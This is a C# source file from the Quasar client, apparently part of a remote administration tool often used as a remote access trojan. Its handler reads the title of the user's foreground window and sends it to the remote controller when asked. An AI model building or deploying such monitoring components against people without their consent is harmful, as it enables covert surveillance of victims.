using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Runtime.InteropServices;
using System.Text;

namespace Quasar.Client.Messages
{
    public class ActiveWindowHandler : IMessageProcessor
    {
        [DllImport("user32.dll")]
        private static extern IntPtr GetForegroundWindow();

        [DllImport("user32.dll")]
        private static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);

        public bool CanExecute(IMessage message) => message is GetActiveWindow;

        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            switch (message)
            {
                case GetActiveWindow msg:
                    Execute(sender, msg);
                    break;
            }
        }

        private void Execute(ISender client, GetActiveWindow message)
        {
            try
            {
                IntPtr handle = GetForegroundWindow();
                StringBuilder windowTitle = new StringBuilder(256);
                GetWindowText(handle, windowTitle, 256);

                client.Send(new GetActiveWindowResponse
                {
                    WindowTitle = windowTitle.ToString()
                });
            }
            catch
            {
                client.Send(new GetActiveWindowResponse
                {
                    WindowTitle = ""
                });
            }
        }
    }
}
